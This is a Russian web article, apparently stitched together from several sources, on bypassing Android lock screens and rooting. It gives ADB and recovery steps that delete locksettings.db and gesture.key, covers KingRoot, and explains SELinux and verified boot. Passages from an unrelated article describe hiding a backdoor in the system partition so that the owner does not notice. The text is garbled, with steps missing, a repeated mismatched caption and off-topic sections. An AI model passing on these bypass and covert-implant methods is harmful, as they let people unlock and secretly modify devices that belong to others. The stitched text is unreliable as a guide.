Шаг 3. В загруженном архиве будет единственная папка «platform-tools», которую мы просто перемещаем на системный диск «C».

Как разблокировать root на android

Шаг 4. Открываем эту папку, зажимаем клавишу «Shift» и кликаем правой кнопкой мыши по пустой области, вызывая контекстное меню. Выбираем строку «Открыть окно команд».

Шаг 5. Подключаем по USB устройство к компьютеру и проверяем работоспособность пакета ADB. Делается это с помощью следующей команды: «adb devices». Если появляется строка с номером устройства и надписью «device», то значит, что все работает – компьютер видит подключенный смартфон. Если этого не происходит, можно попробовать установить универсальные драйвера ADB и Fastboot под ваше устройство по этой ссылке.

Как разблокировать root на android

Теперь рассмотрим 2 способа снятия блокировки через ADB. Каждый из них предполагает последовательное введение запросов в командной строке компьютера.

  • «adb shell»;
  • «su»;
  • «rm /data/system/locksettings.db»;
  • «rm /data/system/locksettings.db-wal»;
  • «rm /data/system/locksettings.db-shm»;
  • «reboot».

Если в процессе ввода команд выше появляются какие-то ошибки вроде «No such file or directory» и других – это еще мало о чем говорит, поэтому просто продолжаем. Несмотря на появление ошибки при вводе одной из команд, на планшете ASUS FoneFad 7 все прошло успешно после перезагрузки – графический ключ исчез.

Как разблокировать root на android

Вариант 2 (для тех, у кого установлен графический ключ):

  • «adb shell»;
  • «rm /data/system/gesture.key».

Для тех, кто пробует второй вариант – после ввода команд сброс ключа не произойдет, но можно будет ввести любую комбинацию, и устройство примет ее в качестве правильной. А уже после разблокировки можно зайти в настройки и снять ключ.

Ручное удаление файла gesture. key

Внимание: этот способ работает только на смартфонах с модифицированным меню Recovery! Если вы никогда не устанавливали сторонние прошивки, то данный метод не для вас!

Ваш графический ключ содержится в текстовом файле gesture.key. Если его удалить, то и сам графический ключ сбросится. Устранить его без разблокировки устройства можно при помощи следующих меню Recovery:

  • CWM;
  • TWRP.

Ваши действия необыкновенно просты:

Шаг 2. Переместите его на карту памяти.

Шаг 3. Вставьте карточку в ваш смартфон.

Шаг 4. Зайдите в меню Recovery и установите приложение.

Шаг 5. Перейдите по пути «/data/system/».

Шаг 6. Удалите файлы gesture.key, locksettings.db, locksettings.db-wal и locksettings.db-shm.

Шаг 7. Перезагрузите смартфон.

Шаг 8. Введите любой графический ключ — аппарат должен разблокироваться.

Если у вас установлено меню Recovery TWRP, то вам даже не нужно скачивать отдельную утилиту. Найти файловый менеджер вы сможете по пути «Advanced» — «File Manager».

Звонок на телефон

Этот способ обойти графический ключ на телефоне не требует каких-либо капиталовложений. Не нужно и устанавливать дополнительное приложение. Вам необходимо лишь осуществить звонок на свой номер с другого аппарата.

Внимание: этот метод работает только на старых смартфонах, функционирующих под управлением Android 2.2 или более ранней версии операционной системы. Позднее брешь в безопасности была устранена.

Метод заключается в том, чтобы во время принятия звонка перейти в параметры и сбросить графический ключ. Делается это по пути «Настройки» — «Безопасность».

Сброс с помощью кастомного рекавери (CWM/TWRP)

Как установить кастомное рекавери: варианты установки, инструкция и рекомендации специалистов — RUUD

Последний способ в нашей инструкции касается устройств, которые имеют установленное кастомное рекавери. Если вы первый раз слышите слова «CWM Recovery» или «TWRP Recovery», то, скорее всего, этот блок статьи ничем вам не поможет. А чуть более опытные пользователи, уже сталкивавшиеся с процессом установки кастомного рекавери, наверняка и без следующей инструкции знают что делать.

И все же, рассчитывая на то, что не все знают о данном методе, мы подробно рассмотрим его. Если кратко, то благодаря кастомному рекавери мы запустим файловый менеджер, вручную перейдем по пути и найдем несколько файлов, содержащих в себе информацию о способе блокировки экрана.

Для тех, у кого установлено TWRP Recovery:

Шаг 1. Загружаемся в рекавери и переходим на вкладку «Advanced».

Шаг 2. Выбираем пункт «File Manager» и запускаем проводник.

Шаг 3. Переходим по пути «/data/system» и находим 5 файлов: «gatekeeper.password.key» (или просто «password.key»), «locksettings.db-shm», «locksettings.db», «gatekeeper.pattern.key» (или же «gesture.key») и «locksettings.db-wal».

Шаг 4. Удаляем файлы (нажимаем по любому из них и жмем кнопку «Delete», после чего повторяем действие с помощью свайпа и возвращаемся назад клавишей «Back») и перезагружаемся в систему.

Для тех, у кого установлено CWM Recovery:

Шаг 1. Переходим по ссылке и скачиваем архив, который помещаем на карту памяти нашего устройства.

Шаг 2. Загружаемся в рекавери и выбираем пункт под названием «install.zip».

Шаг 3. Выбираем строку «Choose zip from /sdcard» и переходим по пути на карте памяти, в которой лежит загруженный архив.

Шаг 4. Нажимаем на строку с именем архива и ждем запуска.

Шаг 5. Повторяем действия, описанные в шагах 3 и 4 из инструкции выше (также находим файлы и удаляем их, но уже в интерфейсе проводника «Aroma»).

Использование аккаунта Samsung

Само собой, данный способ можно использовать только в том случае, если у вас смартфон или планшет Samsung. Также вы должны были зарегистрировать аккаунт Samsung, позволяющий пользоваться фирменными южнокорейскими сервисами. Если эти условия соблюдены, то совершите следующие действия:

Как разблокировать root на android

Шаг 2. Перейдите в раздел «Найти устройство».

Как разблокировать root на android

Шаг 4. Если у вас несколько южнокорейских устройств, то выберите нужное в соответствующем списке (расположен в левом верхнем углу). Далее остается лишь нажать кнопку «Ещё».

Как разблокировать root на android

Шаг 5. Нажмите кнопку «Разблокировать моё устройство».

Как разблокировать root на android

Что ещё можно сделать?

Данный вариант установки бэкдора довольно грубый. Внедрение происходит напрямую в системный раздел, что неплохо, но можно сделать лучше. Например, несмотря на то что простенькие root-детекторы его не обнаружат, изменённое состояние system раздела точно не позволит пройти проверку SafetyNet, хотя можно попробовать поиграть с исходниками MagiskHide и заточить их под свои нужды. Логичным продолжением будет хранение нужных файлов отдельно и монтирование их поверх системного раздела таким же образом каким magisk доставляет в файловую систему свои файлы. Продолжая мысль ещё дальше можно попробовать внедриться напрямую в ramdisk и прямо оттуда прокинуть его в файловую систему и смонтировать поверх system.

Использование второго пользователя

Этот способ работает только на аппаратах с root-доступом, установленным приложением SuperSU и как минимум двумя зарегистрированными пользователями. Также важно то, что в SuperSU должен быть включен многопользовательский режим.

Как разблокировать root на android

Для того, чтобы снять графический ключ с Андроида, необходимо:

Шаг 1. Перейти во второго пользователя.

Шаг 2. Зайти в Play Market и установить Root Browser.

Как разблокировать root на android

Шаг 3. Открыть установленную утилиту и перейти по пути «/data/system/».

Как разблокировать root на android

Шаг 4. Удалить следующие файлы:

  • gesture.key;
  • locksettings.db;
  • locksettings.db-wal;
  • locksettings.db-shm.

SELinux

Безопасность в android устроена сложнее чем хотелось бы злоумышленникам и представляет из себя многослойную систему. Unix DAC (discretionary access control), привычная нам система пользователей и назначения прав на файлы типа rwxrwxrwx является лишь частью мер по предотвращению злоупотребления операционной системой и устройством. Помимо неё есть ещё MAC (mandatory access control), в android это SELinux (Security Enhanced Linux). Суть MAC в возможности намного более гибко управлять доступом к различным ресурсам чем DAC, в том числе описывая для этого свои уникальные сущности и правила.

Уровни контроля доступа в android
Уровни контроля доступа в android

Отсюда следует несколько неочевидный ранее вывод – на android root-права в привычном для других дистрибутивов linux понимании, т.е. когда uid пользователя в системе равен 0, вовсе не означают что мы можем делать всё что угодно. Несмотря на то, что процесс init запущен с uid=0, он не может запустить сторонний сервис. Дело в том что SELinux не оперирует понятиями системных пользователей и групп, и если какое-то действие не было явно разрешено, то он его запретит и ему безразлично пытается ли его совершить непривилегированный пользователь или root. Он работает «выше» DAC и может запретить любое действие, которое DAC разрешил.

Дополнительно:  Software root all device

Вот отличный пример в android с самим файлом, содержащим политики SELinux:

$ ls -laZ /sys/fs/selinux/policy                                                                                             
-r--r--r-- 1 root root u:object_r:selinuxfs:s0 0 1970-01-01 03:00 /sys/fs/selinux/policy
$ cat /sys/fs/selinux/policy                                                                                                  
cat: /sys/fs/selinux/policy: Permission denied

На нём стоит доступ для чтения для любых пользователей, но при попытке прочитать его мы получим Permission denied, потому что ни для процессов с контекстом u:r:shell:s0, ни для процессов с контекстом u:r:untrustedapp:s0 нет разрешения на чтение файлов u:objectr:selinuxfs:s0.

SELinux оперирует понятиями контекстов, которые присваиваются файлам и процессам, и правил взаимодействия между объектами принадлежащим разным контекстам. Наборы этих правил объединяются в политики. Они описываются в файлах *.te  в исходниках android, можно посмотреть примеры вот тут. Политики собираются на этапе сборки системы и, теоретически, не могут изменяться во время её работы, они компилируются в специальный бинарный формат, который уже использует система. 

Контекст SELinux на процессах и файлах можно посмотреть, добавив к выполняемой команде флаг -Z. Например, для просмотра контекстов на файлах в текущей папке можно вызвать команду ls -laZ, а на процессах, соответсвенно, ps -efZ. 

Как было упомянуто выше в секции про процесс загрузки системы, первое действие которое совершает процесс init – загружает и применяет политики SELinux, а одна из первых применяемых политик заключается в том что процессу с контекстом u:r:init:s0 запрещается делать transition в другой контекст. Политики SELinux специально строятся по принципу «запрещено всё что не разрешено», и создатели операционной системы, разумеется, позаботились о том, чтобы злоумышленник получивший возможность прописать запуск какого-то сервиса в автозапуск не смог это сделать. Контекст процесса init организован таким образом что он может запустить только те системные сервисы, для которых явно прописано разрешение на запуск во время загрузки системы, и после сборки системы это изменить нельзя. 

SELinux может работает в трёх режимах:

  • enforcing – все действия описываемые политиками логируются и принудительно следуют правилам, т.е. если действие явно не разрешено, то оно не будет выполнено

  • permissive – все действия описываемые политиками логируются но не следуют правилам принудительно, т.е. даже если действие явно не разрешено, оно будет выполнено, несмотря на ругань в логах

  • disabled – никакие действия не логируются и не ограничиваются

В нормально работающей системе android версии от 5.0 SELinux всегда будет в режиме enforcing. Если по каким-то причинам он будет переведён в режим permissive, то пользователю ещё до ввода кода разблокировки покажут большое страшное уведомление об этом и о том что его система небезопасна. Мы точно не имеем права переводить SELinux в permissive режим, потому что это выдаст пользователю факт модификации его устройства, и он может предпочесть уничтожить данные. 

В каждой версии android, начиная с 5 политики SELinux сильно ужесточаются и всё меньше и меньше всего остаётся разрешённым. Иронично, но начиная с android 8 даже если прошить в системный раздел исполняемый файл su и сделать его системным и принадлежащим root:root, он не сможет работать без специально назначенных ему политик. 

Тем не менее инструменты для получения root-прав существуют, и они умеют обходить ограничения MAC, работать на самых свежих версиях android и даже на устройствах, которые помимо них дополнительно имеют отдельные механизмы контроля целостности системы (например устройства Samsung). Так как же тогда работает root в современных реалиях?

Работа с программой

Графическая среда Unlock Root похожа на большинство утилит для «взлома» смартфонов. Перед началом «рутирования», нужно подсоединить свой мобильный аппарат к компьютеру. После того, как устройство «определится» в системе, нажмите на большую клавишу «Root» и дождитесь, пока софт «взломает» устройство. 

Полноценное получение прав «суперпользователя» доступно при наличии ADB драйверов. Не начинайте «рутирование», пока не «активируете» отладку по USB на мобильном аппарате. 

Для этого перейдите по такому пути. Войдя в режим разработчика, нажмите несколько раз на поле с OS Android, а затем выберите раздел «Настройки» и «Об устройстве». Важный момент перед «рутированием» — это то, что установка ADB драйверов производится до активации отладки по USB.

Если вы не смогли получить «права» с первого раза, то софт «напишет» сообщение о «неудаче». В таких случаях удалите этот «рутер» и поищите подходящую альтернативу. 

Графическая среда Unlock Root простая и удобная, без лишних панелей. Софтом можно пользоваться абсолютно бесплатно. При потребности закачайте платную версию утилиты с дополнительными возможностями. Функциональные возможности этого приложения не занимают первую позицию среди аналогичного софта. 

Рут-права на Xiaomi без компьютера

Если нет желания возиться с кастомным рекавери и делать всё вручную, существуют приложения, позволяющие получить Root в один клик. Даже без ПК. Самым популярным и эффективным является KingRoot от китайских разработчиков.

  1. Запустите KingRoot.
  2. Нажмите на кнопку «Попробовать».
  3. После определения смартфона и проверки статуса нажмите «Root защита».
  4. Тапните «Включить».

установка Root через KingRoot

Во время проведения процедуры телефон перезагрузится. В случае успеха вы увидите соответствующее сообщение на смартфоне. Если же процесс завершится с ошибкой, то появится соответствующий текст.

Внимание! Использование программ типа KingRoot не рекомендуется. В официальном Google Play их нет. А файлы APK на сторонних ресурсах могут быть заражены вирусами. А ведь эта программа модифицирует системные файлы. Поэтому вирусам ничего не стоит их повредить.

Поход в сервисный центр

Идеальный способ, который срабатывает практически в 100% случаев. Просто отнесите свой смартфон или планшет в сервисный центр. Но обратите внимание, что ремонт не будет считаться гарантийным. Специалисты смогут снять блокировку графического ключа с Андроида, но они попросят за свою работу деньги.

Что же плохого происходит когда загрузчик разблокируется?

Загрузка системы начинается с загрузчика. Загрузчик – это небольшой бинарный компонент, который запускается непосредственно чипсетом и отвечает за загрузку и запуск ядра. Если в настольных дистрибутивах linux мы привыкли в основном к загрузчику grub, то на android смартфонах у нас загрузчиком является aboot. Процесс загрузки происходит следующим образом:

  • На плату устройства подаётся питание

  • Выполняется первичный загрузчик (primary bootloader, PBL). Он хранится в ПЗУ чипа. Он производит инициализацию памяти некоторого минимального набора для работы с железом, например с физическими кнопками устройства и партициями.

  • Далее исполняется aboot. Он собирает информацию для того, чтобы понять что и как именно нужно запустить. На этом этапе он смотрит на флаги записанные в специальной памяти, на зажатые физические кнопки, и принимает решение в каком режиме продолжить загрузку системы: в штатном режиме, в режиме восстановления (recovery), в режиме прошивки (fastboot). Загрузчик может также загружать другие специальные режимы, которые зависят от конкретного чипа или устройства, например EDL на чипах Qualcomm который используется для экстренного восстановления устройства путём загрузки прошивки образа подписанного ключами Qualcomm публичная часть которых зашита внутрь чипа. Мы будем рассматривать штатный процесс загрузки.

  • Некоторые устройства используют механизм seamless updates, его также называют A/B partitions. В этом случае загрузчик обязан выбрать правильный текущий слот для загрузки. Суть этого механизма в том что некоторые разделы представлены в двух экземплярах, например вместо обычного /system на устройстве будут /system_a и /system_b, вместо /vendor — /vendor_a и vendor_b. Цель этого — более быстрые и защищённые от окирпичивания устройства обновления системы, т.е. например вы загружены в систему используя слот A, вы собираетесь обновить устройство, выбираете соответсвующий пункт в настройках и продолжаете спокойно работать с системой. Пакет обновления скачивается, но вместо перезагрузки в специальный режим обновления и ожидания прошивки, оно сразу шьётся, но не на запущенную систему (это и не получится сделать) а в разделы второго слота B: /system_b, /vendor_b и, если необходимо, в другие. После прошивки система отмечает флаги что следующая загрузка системы должна быть штатной и должна использовать слот B и предлагает перезагрузиться. Вы перезагружаете устройство, загрузчик выбирает слот B и продолжает загрузку, всего через несколько секунд ожидания ваша новая ОС загружена, отмечаются флаги что загрузка прошла успешно, текущий образ системы работает, с ним всё хорошо, а значит можно продублировать текущую систему во второй слот. В случае если загрузка не закончится успехом, то система не поставит флаги об успехе и загрузчик поймёт что новая система не работает, нужно загрузиться в старый слот, повреждённое обновление на него не накачено и вы продолжите работать с устройством как ни в чём не бывало.

  • Продолжается штатная загрузка. Загрузчик ищет в подключённых устройствах раздел /boot. Этот раздел содержит две необходимые для запуска системы составляющие: ядро ОС — kernel, и начальный образ файловой системы — initramfs (в android он практически везде называется ramdisk и я далее буду называть его именно так). Вот здесь начинают работать механизмы защиты ОС от модификации или наоборот, их работа отключается в том случае если наш загрузчик был разблокирован. При загрузке считается хэш сумма данных содержащихся в /boot разделе и сравнивается с эталонным хэшом который рассчитан и подписан приватным ключом производителя устройства в момент сборки системы, эта подпись должна быть успешно верифицирована AVB ключом хранящимся в TEE. В случае разблокированного загрузчика этой проверки не производится, т.е. система будет запускать любые ядро и ramdisk, даже если они не подписаны производителем устройства.

  • Механизмы защиты продолжают работу. Далее проверяется что целостность загружаемого раздела с системой также не нарушена. Ramdisk хранит публичный ключ verity_key, приватной частью которого подписан корневой хэш в таблице dm-verity хешей для системного раздела. Осуществляется проверка подписи после чего происходит переход к загрузке системы. Если загрузчик нашего устройства разблокирован, то эта проверка также пропускается.

Таблица хэшей dm-verity
Таблица хэшей dm-verity

Весь этот процесс называется boot flow и отлично проиллюстрирован здесь:

Boot flow
Boot flow

У загрузки с avb может быть 4 конечных состояния, условно обозначаемых цветами:

  • green state — загрузчик заблокирован, используется embedded root of trust, т.е. публичный ключ avb поставляется в аппаратном TEE. Целостность ядра и системы не нарушена. Никаких сообщений пользователю не показывается. Система загружается. Так происходит всегда когда мы пользуемся обычным, не модифицированным устройством.

  • orange state — загрузчик разблокирован, root of trust игнорируется. Целостность ядра и системы не проверяется. Пользователю на 10 секунд показывается большой оранжевый предупреждающий знак и сообщается что целостность разделов устройства не проверяется, и система может быть модифицирована. После этого система загружается. Так происходит на устройствах с установленными root-правами или альтернативной сборкой ОС, именно этот случай нас интересует.

  • red state — загрузчик заблокирован, используется любой root of trust, целостность системы нарушена при заблокированном загрузчике, либо система повреждена (что для dm-verity в общем-то одно и тоже, как описано в документации). Пользователю показывается сообщение о том, что система повреждена. Система не загружается.

Задача механизмов avb и dm-verity убедиться в том, что загружаемые ядро и система не были изменены и дошли до устройства пользователя в таком виде в каком их выпустил производитель устройства. Если пользователь решил установить root-права или альтернативную сборку ОС, то он неминуемо нарушит хэши партиций и чтобы система могла продолжить работу а не уходила сразу в «красное состояние» в котором откажется загружаться, ему придётся разблокировать загрузчик и с точки зрения avb перевести устройство в «оранжевое состояние» где android будет закрывать глаза на модификации системы. Этим пользуются и инструменты для получения root, и сторонние сборки, этим могут воспользоваться и злоумышленники, этим воспользуемся и мы. 

Логическим следствием перехода в «оранжевое состояние» и отключения avb является возможность загружать образы с ядром не подписанные производителем устройства. Среди любителей модифицировать android самым популярным проектом такого рода является «Team Win Recovery Project» или просто TWRP. TWRP позволяет делать с устройством практически всё, в частности монтировать и модифицировать любые разделы не загружаясь в саму систему непосредственно. Именно эта возможность нам будет нужна для нашей задачи, но для начала надо разобраться с тем, как именно данные пользователя хранятся на устройстве.

Оцените статью
Master Hi-technology
Добавить комментарий